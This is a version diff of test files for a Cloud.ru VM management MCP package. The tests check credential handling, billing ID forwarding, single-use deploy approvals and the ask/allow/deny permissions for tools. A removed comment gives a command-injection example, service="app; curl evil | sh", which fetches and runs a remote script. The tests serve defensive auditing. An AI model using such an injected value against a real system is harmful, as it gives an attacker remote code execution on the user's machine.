@dzhechkov/cloudru-hub 0.1.12 → 0.1.14

package/test/billing-credentials.test.mjs

@@ -0,0 +1,113 @@
+import { after, test } from 'node:test';
+import assert from 'node:assert/strict';
+import fs from 'node:fs';
+import os from 'node:os';
+import path from 'node:path';
+import { spawnSync } from 'node:child_process';
+import { createRequire } from 'node:module';
+
+const require = createRequire(import.meta.url);
+const { readCredentials } = require('../src/credentials.js');
+const classification = require('../data/tools-classification.json');
+const scratch = fs.mkdtempSync(path.join(os.tmpdir(), 'cloudru-billing-credentials-'));
+after(() => fs.rmSync(scratch, { recursive: true, force: true }));
+
+const credentials = path.join(scratch, 'credentials.json');
+const engine = path.join(scratch, 'fake-engine');
+const projectId = '11111111-2222-3333-4444-555555555555';
+const agreementId = 'agreement-123';
+
+fs.writeFileSync(engine, `#!/usr/bin/env node
+process.stdin.setEncoding('utf8');
+let buffer = '';
+process.stdin.on('data', (chunk) => {
+  buffer += chunk;
+  let end;
+  while ((end = buffer.indexOf('\\n')) >= 0) {
+    const line = buffer.slice(0, end);
+    buffer = buffer.slice(end + 1);
+    if (!line) continue;
+    const message = JSON.parse(line);
+    const result = { content: [{ type: 'text', text: JSON.stringify({
+      agreement: process.env.CLOUDRU_AGREEMENT_ID || null,
+      keyId: process.env.CLOUDRU_KEY_ID || null,
+      projectId: process.env.CLOUDRU_PROJECT_ID || null,
+    }) }] };
+    process.stdout.write(JSON.stringify({ jsonrpc: '2.0', id: message.id, result }) + '\\n');
+  }
+});
+`, { mode: 0o755 });
+
+function callBilling(extraEnv = {}, toolsets = 'billing') {
+  const script = `const {runSafeMcp}=require(${JSON.stringify(path.resolve(import.meta.dirname, '../src/safe-mcp.js'))});` +
+    `const result=runSafeMcp({toolsets:${JSON.stringify(toolsets)},resolved:{path:${JSON.stringify(engine)},verified:true,sha256:${JSON.stringify(classification.engineSha256)}}});if(result!==null)process.exitCode=result;`;
+  const input = JSON.stringify({ jsonrpc: '2.0', id: 1, method: 'tools/call', params: { name: 'billing_balance', arguments: {} } }) + '\n';
+  return spawnSync(process.execPath, ['-e', script], {
+    input, encoding: 'utf8', timeout: 5000,
+    env: { ...process.env, CLOUDRU_HUB_CREDENTIALS: credentials, ...extraEnv },
+  });
+}
+
+test('billing profile forwards agreement ID and auth from owner-only credentials to the Go child', () => {
+  fs.writeFileSync(credentials, JSON.stringify({
+    key_id: 'synthetic-key', secret: 'synthetic-secret', project_id: projectId,
+    agreement_id: agreementId,
+  }), { mode: 0o600 });
+  const run = callBilling({ CLOUDRU_AGREEMENT_ID: 'stale-env-agreement' });
+  assert.equal(run.status, 0, run.stderr);
+  const response = JSON.parse(run.stdout.trim());
+  assert.deepEqual(JSON.parse(response.result.content[0].text), {
+    agreement: agreementId, keyId: 'synthetic-key', projectId,
+  });
+  assert.doesNotMatch(run.stdout + run.stderr, /synthetic-secret/);
+});
+
+test('agreement ID is optional in the file and can still come from the environment', () => {
+  fs.writeFileSync(credentials, JSON.stringify({
+    key_id: 'synthetic-key', secret: 'synthetic-secret', project_id: projectId,
+  }), { mode: 0o600 });
+  const run = callBilling({ CLOUDRU_AGREEMENT_ID: agreementId });
+  assert.equal(run.status, 0, run.stderr);
+  assert.equal(JSON.parse(JSON.parse(run.stdout.trim()).result.content[0].text).agreement, agreementId);
+});
+
+test('mixed and all profiles also forward the agreement ID when billing is selected', () => {
+  fs.writeFileSync(credentials, JSON.stringify({
+    key_id: 'synthetic-key', secret: 'synthetic-secret', project_id: projectId,
+    agreement_id: agreementId,
+  }), { mode: 0o600 });
+  for (const profile of ['inventory,billing', 'all']) {
+    const run = callBilling({}, profile);
+    assert.equal(run.status, 0, `${profile}: ${run.stderr}`);
+    assert.equal(JSON.parse(JSON.parse(run.stdout.trim()).result.content[0].text).agreement, agreementId);
+  }
+});
+
+test('billing keeps an environment-only setup when no credential file exists', () => {
+  const run = callBilling({
+    HOME: path.join(scratch, 'empty-home'),
+    CLOUDRU_HUB_CREDENTIALS: '',
+    CLOUDRU_AGREEMENT_ID: agreementId,
+    CLOUDRU_KEY_ID: 'environment-key',
+    CLOUDRU_PROJECT_ID: projectId,
+  });
+  assert.equal(run.status, 0, run.stderr);
+  assert.deepEqual(JSON.parse(JSON.parse(run.stdout.trim()).result.content[0].text), {
+    agreement: agreementId, keyId: 'environment-key', projectId,
+  });
+});
+
+test('explicit missing or malformed billing credential files fail closed', () => {
+  const missing = callBilling({ CLOUDRU_HUB_CREDENTIALS: path.join(scratch, 'missing.json') });
+  assert.equal(missing.status, 1);
+  assert.match(missing.stderr, /cloudru-hub mcp-safe:/);
+  fs.writeFileSync(credentials, JSON.stringify({
+    key_id: 'synthetic-key', secret: 'synthetic-secret', project_id: projectId,
+    agreement_id: 'bad\nvalue',
+  }), { mode: 0o600 });
+  const malformed = callBilling();
+  assert.equal(malformed.status, 1);
+  assert.match(malformed.stderr, /agreement_id/);
+  assert.equal(malformed.stdout, '');
+  assert.throws(() => readCredentials({ CLOUDRU_HUB_CREDENTIALS: credentials }), /agreement_id/);
+});

package/test/classification.test.mjs

@@ -19,34 +19,28 @@ test('every snapshot tool is classified, and nothing extra', () => {
   assert.equal(snapNames.length, 144);
 });
 
-test('counts are the reviewed golden split: 65 ask / 2 deny / 77 allow', () => {
-  assert.deepEqual(cls.counts, { ask: 65, deny: 2, allow: 77 });
+test('counts are the reviewed golden split: 64 ask / 2 deny / 78 allow', () => {
+  assert.deepEqual(cls.counts, { ask: 64, deny: 2, allow: 78 });
   const by = namesByPermission(cls);
-  assert.equal(by.ask.length, 65);
+  assert.equal(by.ask.length, 64);
   assert.equal(by.deny.length, 2);
-  assert.equal(by.allow.length, 77);
+  assert.equal(by.allow.length, 78);
 });
 
-// --- Invariant of the 2026-08-10 behaviour re-audit (cross-model QE HIGH finding) ---
-// stack_status ADVANCES a planned/running job server-side: handleStackStatus
-// (tools_stack.go:451) calls advance() (:479-484), which starts pending steps via
-// s.callTool (:220) — invoking the paid create tools with no confirmation.
-// LIVE-REPRODUCED: one stack_status call moved a planned job planned→running and
-// attempted `provision` (stopped only at AUTH_REQUIRED). If this ever flips back to
-// allow, the fully-frictionless chain stack_plan→stack_status provisions a billable
-// stack with ZERO permission prompts — defeating the ADR-004 brake.
-test('stack_status is ASK — it advances jobs and invokes paid create tools (tools_stack.go:479→:220)', () => {
-  assert.equal(cls.tools.stack_status.permission, 'ask');
-  assert.equal(cls.tools.stack_status.effect, 'mutating');
+// The imported engine now makes status observational. The Go regression test
+// proves repeated reads do not advance a planned/running job; only apply can.
+test('stack_status is ALLOW only after the engine stopped advancing jobs', () => {
+  assert.equal(cls.tools.stack_status.permission, 'allow');
+  assert.equal(cls.tools.stack_status.effect, 'read-only');
   const rules = permissionRules(cls);
-  assert.ok(rules.ask.includes('mcp__cloudru-vm__stack_status'));
-  assert.ok(rules.ask.includes('mcp__cloudru_vm__stack_status'));
-  assert.ok(!rules.allow.some((r) => r.endsWith('__stack_status')), 'stack_status must never be emitted as allow');
+  assert.ok(rules.allow.includes('mcp__cloudru-vm__stack_status'));
+  assert.ok(rules.allow.includes('mcp__cloudru_vm__stack_status'));
+  assert.ok(!rules.ask.some((r) => r.endsWith('__stack_status')));
 });
 
-test('the stack chain: only the pure plan is allow — every advancing/applying/destroying step is ask', () => {
-  assert.equal(cls.tools.stack_plan.permission, 'allow'); // verified: persists a LOCAL job file only, creates nothing
-  for (const name of ['stack_apply', 'stack_status', 'stack_destroy']) {
+test('the stack chain: plan and status are observational; apply and destroy require approval', () => {
+  for (const name of ['stack_plan', 'stack_status']) assert.equal(cls.tools[name].permission, 'allow', name);
+  for (const name of ['stack_apply', 'stack_destroy']) {
     assert.equal(cls.tools[name].permission, 'ask', name);
   }
 });
@@ -54,12 +48,9 @@ test('the stack chain: only the pure plan is allow — every advancing/applying/
 // --- Invariant of the 2026-08-10 shell-reach re-audit (AM-2, cross-model QE HIGH) ---
 // The classification method has a SECOND hazard axis: a tool is allow ONLY if it does NOT
 // pass a user-controlled arg into a remote shell. `logs` does — handleLogs (tools.go:1758)
-// hands the user `service` arg to engine.Logs, which concatenates it RAW into a remote
-// `docker compose logs <service>` (engine/logs.go:61) run via SSH CombinedOutput
-// (internal/deploy/ssh.go:117). service="app; curl evil | sh" ⇒ arbitrary RCE on the
-// user's VM. If this flips back to allow the injection sits behind a SILENT allow — a
-// zero-prompt command-injection path defeating the ADR-004 brake.
-test('logs is ASK — it concatenates a user-controlled service arg into a remote shell (logs.go:61 → ssh.go:117)', () => {
+// reaches a remote shell. The imported engine quotes that argument, but a log
+// read can disclose sensitive output and still crosses the shell-reach axis.
+test('logs remains ASK because it reaches remote SSH/compose', () => {
   assert.equal(cls.tools.logs.permission, 'ask');
   const rules = permissionRules(cls);
   assert.ok(rules.ask.includes('mcp__cloudru-vm__logs'));
@@ -70,10 +61,10 @@ test('logs is ASK — it concatenates a user-controlled service arg into a remot
 // The method doc (the $comment) must keep documenting BOTH hazard axes — losing the
 // shell-reach axis silently is the exact regression that let `logs` sit in allow. This is
 // a layer-1 guard on the METHOD, not just the instance.
-test('the classification method doc documents the shell-reach hazard axis and the engine-injection flag', () => {
+test('the classification method doc documents the shell-reach axis and the engine fix', () => {
   assert.match(cls.$comment, /shell-reach/i, 'method doc must name the shell-reach hazard axis');
-  assert.match(cls.$comment, /user-controlled argument into a shell/i);
-  assert.match(cls.$comment, /shell-escape opts\.Service/i, 'method doc must record the flagged engine injection');
+  assert.match(cls.$comment, /user-controlled argument reaching shell/i);
+  assert.match(cls.$comment, /logs shell-quotes service/i);
 });
 
 // No allow tool may reach a shell: every allow entry must be free of the shell-reach
@@ -128,9 +119,9 @@ test('read-only recon stays frictionless: vm_list, billing_*, deploy_plan are al
 test('permissionRules expands every name in BOTH prefix spellings (unverified normalization, deny-by-default)', () => {
   const rules = permissionRules(cls);
   assert.equal(SERVER_PREFIXES.length, 2);
-  assert.equal(rules.ask.length, 65 * 2);
+  assert.equal(rules.ask.length, 64 * 2);
   assert.equal(rules.deny.length, 2 * 2);
-  assert.equal(rules.allow.length, 77 * 2);
+  assert.equal(rules.allow.length, 78 * 2);
   assert.ok(rules.ask.includes('mcp__cloudru-vm__deploy'));
   assert.ok(rules.ask.includes('mcp__cloudru_vm__deploy'));
   assert.ok(rules.deny.includes('mcp__cloudru-vm__secret_value'));

package/test/deploy-approval.test.mjs

@@ -0,0 +1,154 @@
+import { after, test } from 'node:test';
+import assert from 'node:assert/strict';
+import fs from 'node:fs';
+import os from 'node:os';
+import path from 'node:path';
+import { spawnSync } from 'node:child_process';
+import { createRequire } from 'node:module';
+
+const require = createRequire(import.meta.url);
+const { readCredentials } = require('../src/credentials.js');
+const { issueApproval } = require('../src/deploy-approval.js');
+const cls = require('../data/tools-classification.json');
+const scratch = fs.mkdtempSync(path.join(os.tmpdir(), 'cloudru-deploy-guard-'));
+after(() => fs.rmSync(scratch, { recursive: true, force: true }));
+const projectId = '11111111-2222-3333-4444-555555555555';
+const vmId = 'aaaaaaaa-bbbb-cccc-dddd-eeeeeeeeeeee';
+const otherVM = 'bbbbbbbb-cccc-dddd-eeee-ffffffffffff';
+const planId = 'plan-123456abcdef';
+const file = path.join(scratch, 'credentials.json');
+const planFile = path.join(scratch, '.cloudru-vm', 'plans', `${planId}.json`);
+const log = path.join(scratch, 'forwarded.jsonl');
+const fake = path.join(scratch, 'fake-engine');
+const env = { ...process.env, CLOUDRU_HUB_CREDENTIALS: file, CLOUDRU_HUB_APPROVALS: path.join(scratch, 'approvals'), CLOUDRU_VM_HOME: scratch, FAKE_LOG: log };
+fs.writeFileSync(file, JSON.stringify({ key_id: 'test-key', secret: 'test-secret', project_id: projectId, region: 'ru.AZ-2' }), { mode: 0o600 });
+fs.mkdirSync(path.dirname(planFile), { recursive: true });
+const plan = { plan_id: planId, project_id: projectId, expires_at: new Date(Date.now() + 1800000).toISOString(), vm: { name: 'snake-pilot' }, ssh: { login: 'user1' }, cost: { currency: 'RUB', total_monthly_rub: 42 } };
+const savePlan = () => fs.writeFileSync(planFile, JSON.stringify(plan));
+savePlan();
+fs.writeFileSync(fake, `#!/usr/bin/env node
+const fs=require('fs');let b='';process.stdin.setEncoding('utf8');process.stdin.on('data',x=>{b+=x;let i;while((i=b.indexOf('\\n'))>=0){const line=b.slice(0,i);b=b.slice(i+1);if(!line)continue;const m=JSON.parse(line);fs.appendFileSync(process.env.FAKE_LOG,JSON.stringify(m)+'\\n');if(!Object.hasOwn(m,'id'))continue;let result={};if(m.method==='tools/list')result={tools:[{name:'deploy_apply'},{name:'vm_exec'},{name:'destroy'}]};else if(m.method==='tools/call'){const deployment=process.env.FAKE_DEPLOY_OUTCOME?JSON.parse(process.env.FAKE_DEPLOY_OUTCOME):{vm_id:'${vmId}',status:'running',public_ip:'203.0.113.10',password:'generated-secret'};result={isError:m.params.name==='deploy_apply'&&!!process.env.FAKE_DEPLOY_ERROR,content:[{type:'text',text:m.params.name==='deploy_apply'?JSON.stringify(deployment):JSON.stringify({status:'ok'})}]};}process.stdout.write(JSON.stringify({jsonrpc:'2.0',id:m.id,result})+'\\n');}});
+`);
+fs.chmodSync(fake, 0o755);
+const rpc = (id, name, args = {}) => JSON.stringify({ jsonrpc: '2.0', id, method: 'tools/call', params: { name, arguments: args } });
+function run(lines, overrides = {}) {
+  fs.writeFileSync(log, '');
+  const script = `const {runSafeMcp}=require(${JSON.stringify(path.resolve(import.meta.dirname, '../src/safe-mcp.js'))});runSafeMcp({toolsets:'vm-deploy',resolved:{path:${JSON.stringify(fake)},verified:true,sha256:${JSON.stringify(cls.engineSha256)}}});`;
+  const r = spawnSync(process.execPath, ['-e', script], { input: lines.join('\n') + '\n', encoding: 'utf8', timeout: 5000, env: { ...env, ...overrides } });
+  assert.equal(r.status, 0, r.stderr || r.error?.message);
+  return { responses: r.stdout.trim().split('\n').map(JSON.parse), forwarded: fs.readFileSync(log, 'utf8').trim().split('\n').filter(Boolean).map(JSON.parse) };
+}
+
+test('credentials require owner-only regular file and do not interpolate shell text', () => {
+  assert.equal(readCredentials(env).projectId, projectId);
+  assert.equal(readCredentials(env).env.CLOUDRU_KEY_ID, 'test-key');
+  fs.chmodSync(file, 0o644);
+  assert.throws(() => readCredentials(env), /0600/);
+  fs.chmodSync(file, 0o600);
+  fs.writeFileSync(file, '{"secret":THIS_IS_A_FAKE_SECRET_FOR_QE}', { mode: 0o600 });
+  assert.throws(() => readCredentials(env), (error) => error.message === 'credentials file is not valid JSON');
+  fs.writeFileSync(file, JSON.stringify({ key_id: 'test-key', secret: 'test-secret', project_id: projectId, region: 'ru.AZ-2' }), { mode: 0o600 });
+});
+
+test('cost cap and project must match the persisted plan before approval', () => {
+  assert.throws(() => issueApproval(planId, 41, env), /cost exceeds/);
+  plan.project_id = otherVM;
+  savePlan();
+  assert.throws(() => issueApproval(planId, 100, env), /project differs/);
+  plan.project_id = projectId;
+  savePlan();
+});
+
+test('approved plan is single-use; remote commands are confined to its VM', () => {
+  issueApproval(planId, 50, env);
+  const out = run([
+    JSON.stringify({ jsonrpc: '2.0', id: 1, method: 'tools/list' }),
+    rpc(2, 'deploy_apply', { plan_id: planId, confirmed: false }),
+    rpc(3, 'deploy_apply', { plan_id: planId, confirmed: true }),
+  ]);
+  const followup = run([
+    rpc(4, 'vm_exec', { vm: otherVM, command: 'id' }),
+    rpc(5, 'vm_exec', { vm: vmId, user: 'root', command: 'whoami' }),
+    rpc(6, 'destroy', { confirmed: true }),
+  ]);
+  const by = Object.fromEntries([...out.responses, ...followup.responses].map((x) => [x.id, x]));
+  assert.deepEqual(by[1].result.tools.map((x) => x.name), ['deploy_apply', 'vm_exec']);
+  assert.equal(by[2].result.isError, false);
+  assert.doesNotMatch(JSON.stringify(by[2]), /generated-secret/);
+  for (const id of [3, 4, 6]) assert.ok(by[id].error, `request ${id} blocked`);
+  assert.equal(by[5].result.content[0].text, JSON.stringify({ status: 'ok' }));
+  const calls = [...out.forwarded, ...followup.forwarded].filter((x) => x.method === 'tools/call');
+  assert.deepEqual(calls.map((x) => x.params), [
+    { name: 'deploy_apply', arguments: { plan_id: planId, confirmed: true } },
+    { name: 'vm_exec', arguments: { vm: vmId, user: 'user1', command: 'whoami' } },
+  ]);
+});
+
+test('a changed plan invalidates the exact approval', () => {
+  const second = 'plan-abcdef123456';
+  const secondFile = path.join(path.dirname(planFile), `${second}.json`);
+  fs.writeFileSync(secondFile, JSON.stringify({ ...plan, plan_id: second }));
+  issueApproval(second, 50, env);
+  fs.writeFileSync(secondFile, JSON.stringify({ ...plan, plan_id: second, cost: { currency: 'RUB', total_monthly_rub: 49 } }));
+  const out = run([rpc(1, 'deploy_apply', { plan_id: second, confirmed: true })]);
+  assert.match(out.responses[0].error.message, /approval does not match/);
+  assert.equal(out.forwarded.length, 0);
+});
+
+test('partial deploy preserves its VM UUID for recovery and redacts nested secrets', () => {
+  const third = 'plan-123456fedcba';
+  fs.writeFileSync(path.join(path.dirname(planFile), `${third}.json`), JSON.stringify({ ...plan, plan_id: third }));
+  issueApproval(third, 50, env);
+  const outcome = { status: 'state_persistence_failed', result: { vm_id: otherVM, status: 'running', password: 'generated-secret' }, error: 'local state write failed' };
+  const out = run([rpc(1, 'deploy_apply', { plan_id: third })], { FAKE_DEPLOY_OUTCOME: JSON.stringify(outcome), FAKE_DEPLOY_ERROR: '1' });
+  assert.equal(out.responses[0].result.isError, true);
+  const returned = JSON.parse(out.responses[0].result.content[0].text);
+  assert.equal(returned.result.vm_id, otherVM);
+  assert.equal(returned.result.password, undefined);
+  assert.match(returned.recovery, /Inspect/);
+  const denied = run([rpc(2, 'vm_exec', { vm: otherVM, command: 'id' })]);
+  assert.ok(denied.responses[0].error);
+});
+
+test('static site requires the reviewed digest and never grants an SSH command session', () => {
+  const id = 'plan-aabbccddeeff';
+  const digest = 'a'.repeat(64);
+  const sitePlan = { ...plan, plan_id: id, ports: [80], network: { floating_ip: true, subnet_id: 'subnet-a', attach_fip_id: otherVM },
+    static_site: { source: 'fixtures/snake/index.html', sha256: digest, size_bytes: 12, source_base64: Buffer.from('hello snake!').toString('base64'),
+      files: [{ path: 'index.html', sha256: digest, size_bytes: 12, content_base64: Buffer.from('hello snake!').toString('base64') }] } };
+  const siteFile = path.join(path.dirname(planFile), `${id}.json`);
+  fs.writeFileSync(siteFile, JSON.stringify(sitePlan));
+  assert.throws(() => issueApproval(id, 50, env), /site-sha256/);
+  assert.throws(() => issueApproval(id, 50, env, Date.now(), 'b'.repeat(64)), /site-sha256/);
+  const approved = issueApproval(id, 50, env, Date.now(), digest);
+  assert.equal(approved.staticSite.sha256, digest);
+  assert.match(approved.staticSite.ingress, /dedicated security group/);
+  assert.match(approved.staticSite.estimateScope, /public IP charges excluded/);
+  const outcome = { vm_id: otherVM, status: 'running', public_ip: '203.0.113.10', http_verification: { verified: true } };
+  const out = run([rpc(1, 'deploy_apply', { plan_id: id })], { FAKE_DEPLOY_OUTCOME: JSON.stringify(outcome) });
+  assert.equal(out.responses[0].result.isError, false);
+  const denied = run([rpc(2, 'vm_exec', { vm: otherVM, command: 'id' })]);
+  assert.ok(denied.responses[0].error);
+});
+
+test('static-site artifact and same-price network changes invalidate approval', () => {
+  const site = { source: 'snake.zip', sha256: 'c'.repeat(64), size_bytes: 20, source_base64: Buffer.from('test').toString('base64'),
+    files: [{ path: 'index.html', sha256: 'd'.repeat(64), size_bytes: 10, content_base64: 'aGVsbG8=' }] };
+  for (const [suffix, mutation] of [
+    ['010101010101', (p) => { p.static_site.sha256 = 'e'.repeat(64); }],
+    ['020202020202', (p) => { p.network.subnet_id = 'subnet-b'; }],
+    ['030303030303', (p) => { p.vm.zone = { id: 'zone-b', name: 'AZ-2' }; }],
+  ]) {
+    const id = `plan-${suffix}`;
+    const original = { ...plan, plan_id: id, ports: [80], network: { floating_ip: true, subnet_id: 'subnet-a', attach_fip_id: otherVM },
+      vm: { ...plan.vm, zone: { id: 'zone-a', name: 'AZ-1' } }, static_site: structuredClone(site) };
+    const filename = path.join(path.dirname(planFile), `${id}.json`);
+    fs.writeFileSync(filename, JSON.stringify(original));
+    issueApproval(id, 50, env, Date.now(), site.sha256);
+    mutation(original);
+    fs.writeFileSync(filename, JSON.stringify(original));
+    const out = run([rpc(1, 'deploy_apply', { plan_id: id })]);
+    assert.match(out.responses[0].error.message, /approval does not match/);
+    assert.equal(out.forwarded.length, 0);
+  }
+});

package/test/dialects.test.mjs

@@ -1,7 +1,7 @@
 // Skill dialect compiler tests — ADR-006 Confirmation, all layer 1: size, links, dialect
 // grep, determinism. Uses a SYNTHETIC fixture (our own text carrying the Hermes-dialect
 // tokens) — the real canonical corpus is upstream content and never ships in this package.
-import { test } from 'node:test';
+import { after, test } from 'node:test';
 import assert from 'node:assert/strict';
 import fs from 'node:fs';
 import os from 'node:os';
@@ -11,8 +11,18 @@ import { createRequire } from 'node:module';
 const require = createRequire(import.meta.url);
 const { compileSkill, loadDialects, filterFrontmatter } = require('../src/dialects.js');
 
+// Every scratch dir is removed at the end (after() + process exit) unless DZ_KEEP_TMP=1 —
+// MEASURED 2026-09-20: 81 cloudru-dialects-* dirs per full sweep (backlog 7cb6f9b7).
+const created = [];
+const removeCreated = () => {
+  if (process.env.DZ_KEEP_TMP === '1') return;
+  for (const d of created.splice(0)) fs.rmSync(d, { recursive: true, force: true });
+};
+after(removeCreated);
+process.on('exit', removeCreated);
 function fixture() {
   const dir = fs.mkdtempSync(path.join(os.tmpdir(), 'cloudru-dialects-'));
+  created.push(dir);
   fs.writeFileSync(path.join(dir, 'SKILL.md'), `---
 name: cloudru-hub
 description: Управление Cloud.ru Evolution.